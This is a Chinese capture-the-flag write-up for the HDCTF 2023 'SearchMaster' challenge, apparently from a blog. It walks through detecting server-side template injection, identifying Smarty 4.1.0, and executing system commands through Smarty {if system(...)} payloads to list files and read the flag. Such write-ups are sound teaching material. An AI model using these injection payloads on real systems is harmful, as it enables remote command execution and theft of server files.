[HDCTF 2023]SearchMaster

文章描述了一次在HDCTF2023比赛中的SearchMasterwp网站漏洞探索,涉及模板注入攻击,使用Smarty模板,发现版本4.1.0并利用if语句执行系统命令获取flag。作者提到使用burp工具成功获取flag,但hackerbar发包失败。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[HDCTF 2023]SearchMaster wp

信息搜集

题目页面:

在这里插入图片描述

这里提到了模板,猜测是模板注入,提示 POST 发包,参数名为 data 。

测试 POST 传参 data=1 :

在这里插入图片描述

有返回。

模板注入

检查模板类型

这里用橙子科技的一张图,红色箭头代表失败后执行的下一步,绿色箭头代表成功后执行的下一步。

在这里插入图片描述

首先传入 ${7*7} ,若返回 49 ,则执行成功:

在这里插入图片描述

执行成功。

那么接下来传入 a{*123*}b ,若 {**} 内的内容被当成注释,仅返回 ab ,则执行成功:

在这里插入图片描述

执行成功,判定为 Smarty 模板。

Smarty 模板注入

Smarty 是 PHP 的一个模板。

推荐博客:Smarty模板注入&CVE-2017-1000480

查看版本号:

{$smarty.version}

返回结果,版本 4.1.0 :

在这里插入图片描述

直接上 payload ,个人认为最好用的是 if 语句,if 代码块内可以执行任意 PHP 命令,不要加分号:

{if system('ls /')}{/if}

返回结果:

在这里插入图片描述

查看 flag 文件:

{if system('cat /flag_13_searchmaster')}{/if}

这条命令用 burp 发包成功了,用 hackerbar 发包却报错,有大佬知道原因吗?

用 hackerbar 发包:

在这里插入图片描述

用 burp 发包:

在这里插入图片描述

拿到 flag 。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值